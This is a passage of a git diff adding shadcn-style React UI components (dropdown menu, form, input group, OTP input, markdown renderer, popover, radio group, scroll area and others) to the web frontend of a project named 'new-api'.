+        "focus:bg-accent focus:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-sm py-1.5 pr-2 pl-8 text-sm outline-hidden select-none data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className
+      )}
+      {...props}
+    >
+      <span className='pointer-events-none absolute left-2 flex size-3.5 items-center justify-center'>
+        <DropdownMenuPrimitive.ItemIndicator>
+          <CircleIcon className='size-2 fill-current' />
+        </DropdownMenuPrimitive.ItemIndicator>
+      </span>
+      {children}
+    </DropdownMenuPrimitive.RadioItem>
+  )
+}
+
+function DropdownMenuLabel({
+  className,
+  inset,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Label> & {
+  inset?: boolean
+}) {
+  return (
+    <DropdownMenuPrimitive.Label
+      data-slot='dropdown-menu-label'
+      data-inset={inset}
+      className={cn(
+        'px-2 py-1.5 text-sm font-medium data-[inset]:pl-8',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function DropdownMenuSeparator({
+  className,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Separator>) {
+  return (
+    <DropdownMenuPrimitive.Separator
+      data-slot='dropdown-menu-separator'
+      className={cn('bg-border -mx-1 my-1 h-px', className)}
+      {...props}
+    />
+  )
+}
+
+function DropdownMenuShortcut({
+  className,
+  ...props
+}: React.ComponentProps<'span'>) {
+  return (
+    <span
+      data-slot='dropdown-menu-shortcut'
+      className={cn(
+        'text-muted-foreground ml-auto text-xs tracking-widest',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function DropdownMenuSub({
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.Sub>) {
+  return <DropdownMenuPrimitive.Sub data-slot='dropdown-menu-sub' {...props} />
+}
+
+function DropdownMenuSubTrigger({
+  className,
+  inset,
+  children,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.SubTrigger> & {
+  inset?: boolean
+}) {
+  return (
+    <DropdownMenuPrimitive.SubTrigger
+      data-slot='dropdown-menu-sub-trigger'
+      data-inset={inset}
+      className={cn(
+        "focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground [&_svg:not([class*='text-'])]:text-muted-foreground flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none data-[inset]:pl-8 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
+        className
+      )}
+      {...props}
+    >
+      {children}
+      <ChevronRightIcon className='ml-auto size-4' />
+    </DropdownMenuPrimitive.SubTrigger>
+  )
+}
+
+function DropdownMenuSubContent({
+  className,
+  ...props
+}: React.ComponentProps<typeof DropdownMenuPrimitive.SubContent>) {
+  return (
+    <DropdownMenuPrimitive.SubContent
+      data-slot='dropdown-menu-sub-content'
+      className={cn(
+        'bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 min-w-[8rem] origin-(--radix-dropdown-menu-content-transform-origin) overflow-hidden rounded-md border p-1 shadow-lg',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export {
+  DropdownMenu,
+  DropdownMenuPortal,
+  DropdownMenuTrigger,
+  DropdownMenuContent,
+  DropdownMenuGroup,
+  DropdownMenuLabel,
+  DropdownMenuItem,
+  DropdownMenuCheckboxItem,
+  DropdownMenuRadioGroup,
+  DropdownMenuRadioItem,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuSub,
+  DropdownMenuSubTrigger,
+  DropdownMenuSubContent,
+}
diff --git a/new-api/web/default/src/components/ui/empty.tsx b/new-api/web/default/src/components/ui/empty.tsx
new file mode 100644
index 0000000..a63830e
--- /dev/null
+++ b/new-api/web/default/src/components/ui/empty.tsx
@@ -0,0 +1,103 @@
+import { cva, type VariantProps } from 'class-variance-authority'
+import { cn } from '@/lib/utils'
+
+function Empty({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='empty'
+      className={cn(
+        'flex min-w-0 flex-1 flex-col items-center justify-center gap-6 rounded-lg border-dashed p-6 text-center text-balance md:p-12',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function EmptyHeader({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='empty-header'
+      className={cn(
+        'flex max-w-md flex-col items-center gap-2 text-center',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+const emptyMediaVariants = cva(
+  'flex shrink-0 items-center justify-center mb-2 [&_svg]:pointer-events-none [&_svg]:shrink-0',
+  {
+    variants: {
+      variant: {
+        default: 'bg-transparent',
+        icon: "bg-muted text-foreground flex size-10 shrink-0 items-center justify-center rounded-lg [&_svg:not([class*='size-'])]:size-6",
+      },
+    },
+    defaultVariants: {
+      variant: 'default',
+    },
+  }
+)
+
+function EmptyMedia({
+  className,
+  variant = 'default',
+  ...props
+}: React.ComponentProps<'div'> & VariantProps<typeof emptyMediaVariants>) {
+  return (
+    <div
+      data-slot='empty-icon'
+      data-variant={variant}
+      className={cn(emptyMediaVariants({ variant, className }))}
+      {...props}
+    />
+  )
+}
+
+function EmptyTitle({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='empty-title'
+      className={cn('text-lg font-medium tracking-tight', className)}
+      {...props}
+    />
+  )
+}
+
+function EmptyDescription({ className, ...props }: React.ComponentProps<'p'>) {
+  return (
+    <div
+      data-slot='empty-description'
+      className={cn(
+        'text-muted-foreground [&>a:hover]:text-primary text-sm/relaxed [&>a]:underline [&>a]:underline-offset-4',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function EmptyContent({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='empty-content'
+      className={cn(
+        'flex w-full max-w-sm min-w-0 flex-col items-center gap-4 text-sm text-balance',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export {
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  EmptyDescription,
+  EmptyContent,
+  EmptyMedia,
+}
diff --git a/new-api/web/default/src/components/ui/form.tsx b/new-api/web/default/src/components/ui/form.tsx
new file mode 100644
index 0000000..06bf030
--- /dev/null
+++ b/new-api/web/default/src/components/ui/form.tsx
@@ -0,0 +1,164 @@
+import * as React from 'react'
+import {
+  Controller,
+  FormProvider,
+  useFormContext,
+  useFormState,
+  type ControllerProps,
+  type FieldPath,
+  type FieldValues,
+} from 'react-hook-form'
+import * as LabelPrimitive from '@radix-ui/react-label'
+import { Slot } from '@radix-ui/react-slot'
+import { cn } from '@/lib/utils'
+import { Label } from '@/components/ui/label'
+
+const Form = FormProvider
+
+type FormFieldContextValue<
+  TFieldValues extends FieldValues = FieldValues,
+  TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
+> = {
+  name: TName
+}
+
+const FormFieldContext = React.createContext<FormFieldContextValue>(
+  {} as FormFieldContextValue
+)
+
+const FormField = <
+  TFieldValues extends FieldValues = FieldValues,
+  TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
+>({
+  ...props
+}: ControllerProps<TFieldValues, TName>) => {
+  return (
+    <FormFieldContext.Provider value={{ name: props.name }}>
+      <Controller {...props} />
+    </FormFieldContext.Provider>
+  )
+}
+
+const useFormField = () => {
+  const fieldContext = React.useContext(FormFieldContext)
+  const itemContext = React.useContext(FormItemContext)
+  const { getFieldState } = useFormContext()
+  const formState = useFormState({ name: fieldContext.name })
+  const fieldState = getFieldState(fieldContext.name, formState)
+
+  if (!fieldContext) {
+    throw new Error('useFormField should be used within <FormField>')
+  }
+
+  const { id } = itemContext
+
+  return {
+    id,
+    name: fieldContext.name,
+    formItemId: `${id}-form-item`,
+    formDescriptionId: `${id}-form-item-description`,
+    formMessageId: `${id}-form-item-message`,
+    ...fieldState,
+  }
+}
+
+type FormItemContextValue = {
+  id: string
+}
+
+const FormItemContext = React.createContext<FormItemContextValue>(
+  {} as FormItemContextValue
+)
+
+function FormItem({ className, ...props }: React.ComponentProps<'div'>) {
+  const id = React.useId()
+
+  return (
+    <FormItemContext.Provider value={{ id }}>
+      <div
+        data-slot='form-item'
+        className={cn('grid gap-2', className)}
+        {...props}
+      />
+    </FormItemContext.Provider>
+  )
+}
+
+function FormLabel({
+  className,
+  ...props
+}: React.ComponentProps<typeof LabelPrimitive.Root>) {
+  const { error, formItemId } = useFormField()
+
+  return (
+    <Label
+      data-slot='form-label'
+      data-error={!!error}
+      className={cn('data-[error=true]:text-destructive', className)}
+      htmlFor={formItemId}
+      {...props}
+    />
+  )
+}
+
+function FormControl({ ...props }: React.ComponentProps<typeof Slot>) {
+  const { error, formItemId, formDescriptionId, formMessageId } = useFormField()
+
+  return (
+    <Slot
+      data-slot='form-control'
+      id={formItemId}
+      aria-describedby={
+        !error
+          ? `${formDescriptionId}`
+          : `${formDescriptionId} ${formMessageId}`
+      }
+      aria-invalid={!!error}
+      {...props}
+    />
+  )
+}
+
+function FormDescription({ className, ...props }: React.ComponentProps<'p'>) {
+  const { formDescriptionId } = useFormField()
+
+  return (
+    <p
+      data-slot='form-description'
+      id={formDescriptionId}
+      className={cn('text-muted-foreground text-sm', className)}
+      {...props}
+    />
+  )
+}
+
+function FormMessage({ className, ...props }: React.ComponentProps<'p'>) {
+  const { error, formMessageId } = useFormField()
+  const body = error ? String(error?.message ?? '') : props.children
+
+  if (!body) {
+    return null
+  }
+
+  return (
+    <p
+      data-slot='form-message'
+      id={formMessageId}
+      className={cn('text-destructive text-sm', className)}
+      {...props}
+    >
+      {body}
+    </p>
+  )
+}
+
+export {
+  useFormField,
+  Form,
+  FormItem,
+  FormLabel,
+  FormControl,
+  FormDescription,
+  FormMessage,
+  FormField,
+}
diff --git a/new-api/web/default/src/components/ui/hover-card.tsx b/new-api/web/default/src/components/ui/hover-card.tsx
new file mode 100644
index 0000000..a05ff05
--- /dev/null
+++ b/new-api/web/default/src/components/ui/hover-card.tsx
@@ -0,0 +1,41 @@
+import * as React from 'react'
+import * as HoverCardPrimitive from '@radix-ui/react-hover-card'
+import { cn } from '@/lib/utils'
+
+function HoverCard({
+  ...props
+}: React.ComponentProps<typeof HoverCardPrimitive.Root>) {
+  return <HoverCardPrimitive.Root data-slot='hover-card' {...props} />
+}
+
+function HoverCardTrigger({
+  ...props
+}: React.ComponentProps<typeof HoverCardPrimitive.Trigger>) {
+  return (
+    <HoverCardPrimitive.Trigger data-slot='hover-card-trigger' {...props} />
+  )
+}
+
+function HoverCardContent({
+  className,
+  align = 'center',
+  sideOffset = 4,
+  ...props
+}: React.ComponentProps<typeof HoverCardPrimitive.Content>) {
+  return (
+    <HoverCardPrimitive.Portal data-slot='hover-card-portal'>
+      <HoverCardPrimitive.Content
+        data-slot='hover-card-content'
+        align={align}
+        sideOffset={sideOffset}
+        className={cn(
+          'bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 w-64 origin-(--radix-hover-card-content-transform-origin) rounded-md border p-4 shadow-md outline-hidden',
+          className
+        )}
+        {...props}
+      />
+    </HoverCardPrimitive.Portal>
+  )
+}
+
+export { HoverCard, HoverCardTrigger, HoverCardContent }
diff --git a/new-api/web/default/src/components/ui/input-group.tsx b/new-api/web/default/src/components/ui/input-group.tsx
new file mode 100644
index 0000000..a6f9cf8
--- /dev/null
+++ b/new-api/web/default/src/components/ui/input-group.tsx
@@ -0,0 +1,169 @@
+'use client'
+
+import * as React from 'react'
+import { cva, type VariantProps } from 'class-variance-authority'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Textarea } from '@/components/ui/textarea'
+
+function InputGroup({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='input-group'
+      role='group'
+      className={cn(
+        'group/input-group border-input dark:bg-input/30 relative flex w-full items-center rounded-md border shadow-xs transition-[color,box-shadow] outline-none',
+        'h-9 min-w-0 has-[>textarea]:h-auto',
+
+        // Variants based on alignment.
+        'has-[>[data-align=inline-start]]:[&>input]:pl-2',
+        'has-[>[data-align=inline-end]]:[&>input]:pr-2',
+        'has-[>[data-align=block-start]]:h-auto has-[>[data-align=block-start]]:flex-col has-[>[data-align=block-start]]:[&>input]:pb-3',
+        'has-[>[data-align=block-end]]:h-auto has-[>[data-align=block-end]]:flex-col has-[>[data-align=block-end]]:[&>input]:pt-3',
+
+        // Focus state.
+        'has-[[data-slot=input-group-control]:focus-visible]:border-ring has-[[data-slot=input-group-control]:focus-visible]:ring-ring/50 has-[[data-slot=input-group-control]:focus-visible]:ring-[3px]',
+
+        // Error state.
+        'has-[[data-slot][aria-invalid=true]]:ring-destructive/20 has-[[data-slot][aria-invalid=true]]:border-destructive dark:has-[[data-slot][aria-invalid=true]]:ring-destructive/40',
+
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+const inputGroupAddonVariants = cva(
+  "text-muted-foreground flex h-auto cursor-text items-center justify-center gap-2 py-1.5 text-sm font-medium select-none [&>svg:not([class*='size-'])]:size-4 [&>kbd]:rounded-[calc(var(--radius)-5px)] group-data-[disabled=true]/input-group:opacity-50",
+  {
+    variants: {
+      align: {
+        'inline-start':
+          'order-first pl-3 has-[>button]:ml-[-0.45rem] has-[>kbd]:ml-[-0.35rem]',
+        'inline-end':
+          'order-last pr-3 has-[>button]:mr-[-0.45rem] has-[>kbd]:mr-[-0.35rem]',
+        'block-start':
+          'order-first w-full justify-start px-3 pt-3 [.border-b]:pb-3 group-has-[>input]/input-group:pt-2.5',
+        'block-end':
+          'order-last w-full justify-start px-3 pb-3 [.border-t]:pt-3 group-has-[>input]/input-group:pb-2.5',
+      },
+    },
+    defaultVariants: {
+      align: 'inline-start',
+    },
+  }
+)
+
+function InputGroupAddon({
+  className,
+  align = 'inline-start',
+  ...props
+}: React.ComponentProps<'div'> & VariantProps<typeof inputGroupAddonVariants>) {
+  return (
+    <div
+      role='group'
+      data-slot='input-group-addon'
+      data-align={align}
+      className={cn(inputGroupAddonVariants({ align }), className)}
+      onClick={(e) => {
+        if ((e.target as HTMLElement).closest('button')) {
+          return
+        }
+        e.currentTarget.parentElement?.querySelector('input')?.focus()
+      }}
+      {...props}
+    />
+  )
+}
+
+const inputGroupButtonVariants = cva(
+  'text-sm shadow-none flex gap-2 items-center',
+  {
+    variants: {
+      size: {
+        xs: "h-6 gap-1 px-2 rounded-[calc(var(--radius)-5px)] [&>svg:not([class*='size-'])]:size-3.5 has-[>svg]:px-2",
+        sm: 'h-8 px-2.5 gap-1.5 rounded-md has-[>svg]:px-2.5',
+        'icon-xs':
+          'size-6 rounded-[calc(var(--radius)-5px)] p-0 has-[>svg]:p-0',
+        'icon-sm': 'size-8 p-0 has-[>svg]:p-0',
+      },
+    },
+    defaultVariants: {
+      size: 'xs',
+    },
+  }
+)
+
+function InputGroupButton({
+  className,
+  type = 'button',
+  variant = 'ghost',
+  size = 'xs',
+  ...props
+}: Omit<React.ComponentProps<typeof Button>, 'size'> &
+  VariantProps<typeof inputGroupButtonVariants>) {
+  return (
+    <Button
+      type={type}
+      data-size={size}
+      variant={variant}
+      className={cn(inputGroupButtonVariants({ size }), className)}
+      {...props}
+    />
+  )
+}
+
+function InputGroupText({ className, ...props }: React.ComponentProps<'span'>) {
+  return (
+    <span
+      className={cn(
+        "text-muted-foreground flex items-center gap-2 text-sm [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4",
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function InputGroupInput({
+  className,
+  ...props
+}: React.ComponentProps<'input'>) {
+  return (
+    <Input
+      data-slot='input-group-control'
+      className={cn(
+        'flex-1 rounded-none border-0 bg-transparent shadow-none focus-visible:ring-0 dark:bg-transparent',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+function InputGroupTextarea({
+  className,
+  ...props
+}: React.ComponentProps<'textarea'>) {
+  return (
+    <Textarea
+      data-slot='input-group-control'
+      className={cn(
+        'flex-1 resize-none rounded-none border-0 bg-transparent py-3 shadow-none focus-visible:ring-0 dark:bg-transparent',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export {
+  InputGroup,
+  InputGroupAddon,
+  InputGroupButton,
+  InputGroupText,
+  InputGroupInput,
+  InputGroupTextarea,
+}
diff --git a/new-api/web/default/src/components/ui/input-otp.tsx b/new-api/web/default/src/components/ui/input-otp.tsx
new file mode 100644
index 0000000..91acccd
--- /dev/null
+++ b/new-api/web/default/src/components/ui/input-otp.tsx
@@ -0,0 +1,74 @@
+import * as React from 'react'
+import { OTPInput, OTPInputContext } from 'input-otp'
+import { MinusIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+
+function InputOTP({
+  className,
+  containerClassName,
+  ...props
+}: React.ComponentProps<typeof OTPInput> & {
+  containerClassName?: string
+}) {
+  return (
+    <OTPInput
+      data-slot='input-otp'
+      containerClassName={cn(
+        'flex items-center gap-2 has-disabled:opacity-50',
+        containerClassName
+      )}
+      className={cn('disabled:cursor-not-allowed', className)}
+      {...props}
+    />
+  )
+}
+
+function InputOTPGroup({ className, ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div
+      data-slot='input-otp-group'
+      className={cn('flex items-center', className)}
+      {...props}
+    />
+  )
+}
+
+function InputOTPSlot({
+  index,
+  className,
+  ...props
+}: React.ComponentProps<'div'> & {
+  index: number
+}) {
+  const inputOTPContext = React.useContext(OTPInputContext)
+  const { char, hasFakeCaret, isActive } = inputOTPContext?.slots[index] ?? {}
+
+  return (
+    <div
+      data-slot='input-otp-slot'
+      data-active={isActive}
+      className={cn(
+        'data-[active=true]:border-ring data-[active=true]:ring-ring/50 data-[active=true]:aria-invalid:ring-destructive/20 dark:data-[active=true]:aria-invalid:ring-destructive/40 aria-invalid:border-destructive data-[active=true]:aria-invalid:border-destructive dark:bg-input/30 border-input relative flex h-9 w-9 items-center justify-center border-y border-r text-sm shadow-xs transition-all outline-none first:rounded-l-md first:border-l last:rounded-r-md data-[active=true]:z-10 data-[active=true]:ring-[3px]',
+        className
+      )}
+      {...props}
+    >
+      {char}
+      {hasFakeCaret && (
+        <div className='pointer-events-none absolute inset-0 flex items-center justify-center'>
+          <div className='animate-caret-blink bg-foreground h-4 w-px duration-1000' />
+        </div>
+      )}
+    </div>
+  )
+}
+
+function InputOTPSeparator({ ...props }: React.ComponentProps<'div'>) {
+  return (
+    <div data-slot='input-otp-separator' role='separator' {...props}>
+      <MinusIcon />
+    </div>
+  )
+}
+
+export { InputOTP, InputOTPGroup, InputOTPSlot, InputOTPSeparator }
diff --git a/new-api/web/default/src/components/ui/input.tsx b/new-api/web/default/src/components/ui/input.tsx
new file mode 100644
index 0000000..7fede1d
--- /dev/null
+++ b/new-api/web/default/src/components/ui/input.tsx
@@ -0,0 +1,20 @@
+import * as React from 'react'
+import { cn } from '@/lib/utils'
+
+function Input({ className, type, ...props }: React.ComponentProps<'input'>) {
+  return (
+    <input
+      type={type}
+      data-slot='input'
+      className={cn(
+        'file:text-foreground placeholder:text-muted-foreground selection:bg-primary selection:text-primary-foreground dark:bg-input/30 border-input h-9 w-full min-w-0 rounded-md border bg-transparent px-3 py-1 text-base shadow-xs transition-[color,box-shadow] outline-none file:inline-flex file:h-7 file:border-0 file:bg-transparent file:text-sm file:font-medium disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50 md:text-sm',
+        'focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px]',
+        'aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export { Input }
diff --git a/new-api/web/default/src/components/ui/label.tsx b/new-api/web/default/src/components/ui/label.tsx
new file mode 100644
index 0000000..7bd3b53
--- /dev/null
+++ b/new-api/web/default/src/components/ui/label.tsx
@@ -0,0 +1,23 @@
+'use client'
+
+import * as React from 'react'
+import * as LabelPrimitive from '@radix-ui/react-label'
+import { cn } from '@/lib/utils'
+
+function Label({
+  className,
+  ...props
+}: React.ComponentProps<typeof LabelPrimitive.Root>) {
+  return (
+    <LabelPrimitive.Root
+      data-slot='label'
+      className={cn(
+        'flex items-center gap-2 text-sm leading-none font-medium select-none group-data-[disabled=true]:pointer-events-none group-data-[disabled=true]:opacity-50 peer-disabled:cursor-not-allowed peer-disabled:opacity-50',
+        className
+      )}
+      {...props}
+    />
+  )
+}
+
+export { Label }
diff --git a/new-api/web/default/src/components/ui/markdown.tsx b/new-api/web/default/src/components/ui/markdown.tsx
new file mode 100644
index 0000000..df4be48
--- /dev/null
+++ b/new-api/web/default/src/components/ui/markdown.tsx
@@ -0,0 +1,46 @@
+import ReactMarkdown from 'react-markdown'
+import rehypeRaw from 'rehype-raw'
+import remarkGfm from 'remark-gfm'
+import { cn } from '@/lib/utils'
+
+interface MarkdownProps {
+  children: string
+  className?: string
+}
+
+export function Markdown({ children, className }: MarkdownProps) {
+  return (
+    <div
+      className={cn(
+        'prose prose-sm dark:prose-invert max-w-none',
+        'prose-headings:font-semibold prose-headings:tracking-tight',
+        'prose-h1:text-2xl prose-h2:text-xl prose-h3:text-lg',
+        'prose-p:leading-relaxed prose-p:my-2',
+        'prose-a:text-primary prose-a:no-underline hover:prose-a:underline',
+        'prose-code:bg-muted prose-code:px-1 prose-code:py-0.5 prose-code:rounded prose-code:before:content-none prose-code:after:content-none',
+        'prose-pre:bg-muted prose-pre:border',
+        'prose-blockquote:border-l-primary prose-blockquote:bg-muted/50 prose-blockquote:py-1',
+        'prose-ul:my-2 prose-ol:my-2 prose-li:my-1',
+        'prose-table:border prose-thead:bg-muted',
+        'prose-td:border prose-th:border prose-td:px-3 prose-th:px-3',
+        'prose-img:rounded-lg prose-img:shadow-sm',
+        '[&>*:first-child]:mt-0 [&>*:last-child]:mb-0',
+        '[overflow-wrap:anywhere] break-words',
+        className
+      )}
+    >
+      <ReactMarkdown
+        remarkPlugins={[remarkGfm]}
+        rehypePlugins={[rehypeRaw]}
+        components={{
+          // 自定义组件渲染（可选）
+          a: ({ node, ...props }) => (
+            <a {...props} target='_blank' rel='noopener noreferrer' />
+          ),
+        }}
+      >
+        {children}
+      </ReactMarkdown>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/ui/popover.tsx b/new-api/web/default/src/components/ui/popover.tsx
new file mode 100644
index 0000000..490f6f2
--- /dev/null
+++ b/new-api/web/default/src/components/ui/popover.tsx
@@ -0,0 +1,45 @@
+import * as React from 'react'
+import * as PopoverPrimitive from '@radix-ui/react-popover'
+import { cn } from '@/lib/utils'
+
+function Popover({
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Root>) {
+  return <PopoverPrimitive.Root data-slot='popover' {...props} />
+}
+
+function PopoverTrigger({
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Trigger>) {
+  return <PopoverPrimitive.Trigger data-slot='popover-trigger' {...props} />
+}
+
+function PopoverContent({
+  className,
+  align = 'center',
+  sideOffset = 4,
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Content>) {
+  return (
+    <PopoverPrimitive.Portal>
+      <PopoverPrimitive.Content
+        data-slot='popover-content'
+        align={align}
+        sideOffset={sideOffset}
+        className={cn(
+          'bg-popover text-popover-foreground data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 z-50 w-72 origin-(--radix-popover-content-transform-origin) rounded-md border p-4 shadow-md outline-hidden',
+          className
+        )}
+        {...props}
+      />
+    </PopoverPrimitive.Portal>
+  )
+}
+
+function PopoverAnchor({
+  ...props
+}: React.ComponentProps<typeof PopoverPrimitive.Anchor>) {
+  return <PopoverPrimitive.Anchor data-slot='popover-anchor' {...props} />
+}
+
+export { Popover, PopoverTrigger, PopoverContent, PopoverAnchor }
diff --git a/new-api/web/default/src/components/ui/progress.tsx b/new-api/web/default/src/components/ui/progress.tsx
new file mode 100644
index 0000000..6a3bac7
--- /dev/null
+++ b/new-api/web/default/src/components/ui/progress.tsx
@@ -0,0 +1,30 @@
+'use client'
+
+import * as React from 'react'
+import * as ProgressPrimitive from '@radix-ui/react-progress'
+import { cn } from '@/lib/utils'
+
+function Progress({
+  className,
+  value,
+  ...props
+}: React.ComponentProps<typeof ProgressPrimitive.Root>) {
+  return (
+    <ProgressPrimitive.Root
+      data-slot='progress'
+      className={cn(
+        'bg-primary/20 relative h-2 w-full overflow-hidden rounded-full',
+        className
+      )}
+      {...props}
+    >
+      <ProgressPrimitive.Indicator
+        data-slot='progress-indicator'
+        className='bg-primary h-full w-full flex-1 transition-all'
+        style={{ transform: `translateX(-${100 - (value || 0)}%)` }}
+      />
+    </ProgressPrimitive.Root>
+  )
+}
+
+export { Progress }
diff --git a/new-api/web/default/src/components/ui/radio-group.tsx b/new-api/web/default/src/components/ui/radio-group.tsx
new file mode 100644
index 0000000..8505fe7
--- /dev/null
+++ b/new-api/web/default/src/components/ui/radio-group.tsx
@@ -0,0 +1,42 @@
+import * as React from 'react'
+import * as RadioGroupPrimitive from '@radix-ui/react-radio-group'
+import { CircleIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+
+function RadioGroup({
+  className,
+  ...props
+}: React.ComponentProps<typeof RadioGroupPrimitive.Root>) {
+  return (
+    <RadioGroupPrimitive.Root
+      data-slot='radio-group'
+      className={cn('grid gap-3', className)}
+      {...props}
+    />
+  )
+}
+
+function RadioGroupItem({
+  className,
+  ...props
+}: React.ComponentProps<typeof RadioGroupPrimitive.Item>) {
+  return (
+    <RadioGroupPrimitive.Item
+      data-slot='radio-group-item'
+      className={cn(
+        'border-input text-primary focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:bg-input/30 aspect-square size-4 shrink-0 rounded-full border shadow-xs transition-[color,box-shadow] outline-none focus-visible:ring-[3px] disabled:cursor-not-allowed disabled:opacity-50',
+        className
+      )}
+      {...props}
+    >
+      <RadioGroupPrimitive.Indicator
+        data-slot='radio-group-indicator'
+        className='relative flex items-center justify-center'
+      >
+        <CircleIcon className='fill-primary absolute top-1/2 left-1/2 size-2 -translate-x-1/2 -translate-y-1/2' />
+      </RadioGroupPrimitive.Indicator>
+    </RadioGroupPrimitive.Item>
+  )
+}
+
+export { RadioGroup, RadioGroupItem }
diff --git a/new-api/web/default/src/components/ui/scroll-area.tsx b/new-api/web/default/src/components/ui/scroll-area.tsx
new file mode 100644
index 0000000..dcbed7e
--- /dev/null
+++ b/new-api/web/default/src/components/ui/scroll-area.tsx
@@ -0,0 +1,55 @@
+import * as React from 'react'
+import * as ScrollAreaPrimitive from '@radix-ui/react-scroll-area'
+import { cn } from '@/lib/utils'
+
+function ScrollArea({
+  className,
+  children,
+  ...props
+}: React.ComponentProps<typeof ScrollAreaPrimitive.Root>) {
+  return (
+    <ScrollAreaPrimitive.Root
+      data-slot='scroll-area'
+      className={cn('relative', className)}
+      {...props}
+    >
+      <ScrollAreaPrimitive.Viewport
+        data-slot='scroll-area-viewport'
+        className='focus-visible:ring-ring/50 size-full rounded-[inherit] transition-[color,box-shadow] outline-none focus-visible:ring-[3px] focus-visible:outline-1'
+      >
+        {children}
+      </ScrollAreaPrimitive.Viewport>
+      <ScrollBar />
+      <ScrollAreaPrimitive.Corner />
+    </ScrollAreaPrimitive.Root>
+  )
+}
+
+function ScrollBar({
+  className,
+  orientation = 'vertical',
+  ...props
+}: React.ComponentProps<typeof ScrollAreaPrimitive.ScrollAreaScrollbar>) {
+  return (
+    <ScrollAreaPrimitive.ScrollAreaScrollbar
+      data-slot='scroll-area-scrollbar'
+      orientation={orientation}
+      className={cn(
+        'flex touch-none p-px transition-colors select-none',
+        orientation === 'vertical' &&
+          'h-full w-2.5 border-l border-l-transparent',
+        orientation === 'horizontal' &&
+          'h-2.5 flex-col border-t border-t-transparent',
+        className
+      )}
+      {...props}
+    >
+      <ScrollAreaPrimitive.ScrollAreaThumb
+        data-slot='scroll-area-thumb'
+        className='bg-border relative flex-1 rounded-full'
+      />
+    </ScrollAreaPrimitive.ScrollAreaScrollbar>
+  )
+}
+
+export { ScrollArea, ScrollBar }
diff --git a/new-api/web/default/src/components/ui/select.tsx b/new-api/web/default/src/components/ui/select.tsx
new file mode 100644
index 0000000..46de167
--- /dev/null
+++ b/new-api/web/default/src/components/ui/select.tsx
@@ -0,0 +1,186 @@
+'use client'
+
+import * as React from 'react'
+import * as SelectPrimitive from '@radix-ui/react-select'
+import { CheckIcon, ChevronDownIcon, ChevronUpIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+
+function Select({
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Root>) {
+  return <SelectPrimitive.Root data-slot='select' {...props} />
+}
+
+function SelectGroup({
+  ...props
+}: React.ComponentProps<typeof SelectPrimitive.Group>) {
+  return <SelectPrimitive.Group data-slot='select-group' {...props} />
+}
+
